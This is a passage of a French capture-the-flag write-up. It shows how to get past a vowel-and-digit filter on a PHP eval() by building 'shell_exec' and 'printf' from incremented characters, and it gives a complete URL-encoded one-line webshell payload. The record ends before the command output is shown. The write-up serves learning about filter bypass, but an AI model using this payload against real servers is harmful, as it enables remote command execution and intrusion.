Un accès à la page donne directement le code source.
<?php
if (isset($_GET['code'])) {
$code = substr($_GET['code'], 0, 250);
if (preg_match('/a|e|i|o|u|y|[0-9]/i', $code)) {
die('No way! Go away!');
} else {
try {
eval($code);
} catch (ParseError $e) {
die('No way! Go away!');
}
}
} else {
show_source(__FILE__);
}
On a droit à un eval()
, cool ! Sauf que pas moyen d’y passer une voyelle ou un chiffre, et la taille est limitée, ce qui va sérieusement nous gêner dans ce que l’on peut exécuter. Idéalement, il nous faudrait une exécution dans un shell. Un peu de recherche sur le thème donne une ressource intéressante :
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
La méthode 2 semble répondre à nos besoins. Voyons donc comment parvenir à faire exécuter la commande : printf(shell_exec($_GET['c']))
.
Note: la commande parait un peu étonnante, on aurait plus facilement envie de faire appel à
echo
etsystem
, mais en suivant la méthode choisie, la récupération deo
et dey
dépassait la limite de 250 caractères. Cela dit, il est probablement possible d’atteindre ce résultat en se grattant un peu la soupière.
Démarrons en reprenant l’exploitation proposée. On va tranquillement sortir les voyelles e
et i
dont on a besoin :
$_=[]; // Creation of an array
$_=@"$_"; // $_ = 'Array';
$z=$_['!'=='@']; // $z = $_[0] = 'A'
$d=$z;
$d++;$d++;$d++;$d++; // $d = 'A' + 4 = 'E'
$h=$d;
$h++;$h++;$h++;$h++; // $h = 'E' + 4 = 'I'
À partir de là, on reconstruit nos commandes :
$s="sh${d}ll_${d}x${d}c"; // "shEll_ExEc"
$G="_G{$d}T"; // "_GET"
$GG=$$G; // $_GET
$p="pr${h}ntf"; // "prIntf"
$p($s($GG['c'])); // prIntf(shEll_ExEc($_GET['c']))
Faisons un petit essai en local :
<?php
$_GET = array();
$_GET['c'] = $argv[1];
$_=[];
$_=@"$_";
$z=$_['!'=='@'];
$d=$z;
$d++;$d++;$d++;$d++;
$h=$d;
$h++;$h++;$h++;$h++;
$s="sh${d}ll_${d}x${d}c";
$G="_G{$d}T";
$GG=$$G;
$p="pr${h}ntf";
$p($s($GG['c']));
?>
$ php ./Lipogrammeurs.php date
PHP Notice: String offset cast occurred in /*redacted*/Lipogrammeurs.php on line 7
jeudi 14 mai 2020, 21:30:33 (UTC+0200)
Malgré l’avertissement, ça fonctionne ! Il est temps de mettre en forme l’exploit pour qu’il tienne sur une ligne, en urlencodant les caractères spéciaux puisqu’il va être passé en GET à la page :
%24_%3D[]%3B%24_%3D%40"%24_"%3B%24z%3D%24_['!'%3D%3D'%40']%3B%24d%3D%24z%3B%24d%2B%2B%3B%24d%2B%2B%3B%24d%2B%2B%3B%24d%2B%2B%3B%24h%3D%24d%3B%24h%2B%2B%3B%24h%2B%2B%3B%24h%2B%2B%3B%24h%2B%2B%3B%24s%3D"sh%24{d}ll_%24{d}x%24{d}c"%3B%24G%3D"_G{%24d}T"%3B%24GG%3D%24%24G%3B%24p%3D"pr%24{h}ntf"%3B%24p(%24s(%24GG['c']))%3B
Il suffira alors d’ajouter un paramètre c
avec la commande à exécuter dans l’URL.
Essayons de faire un ls -al
:
Parfait, affichons maintenant le flag :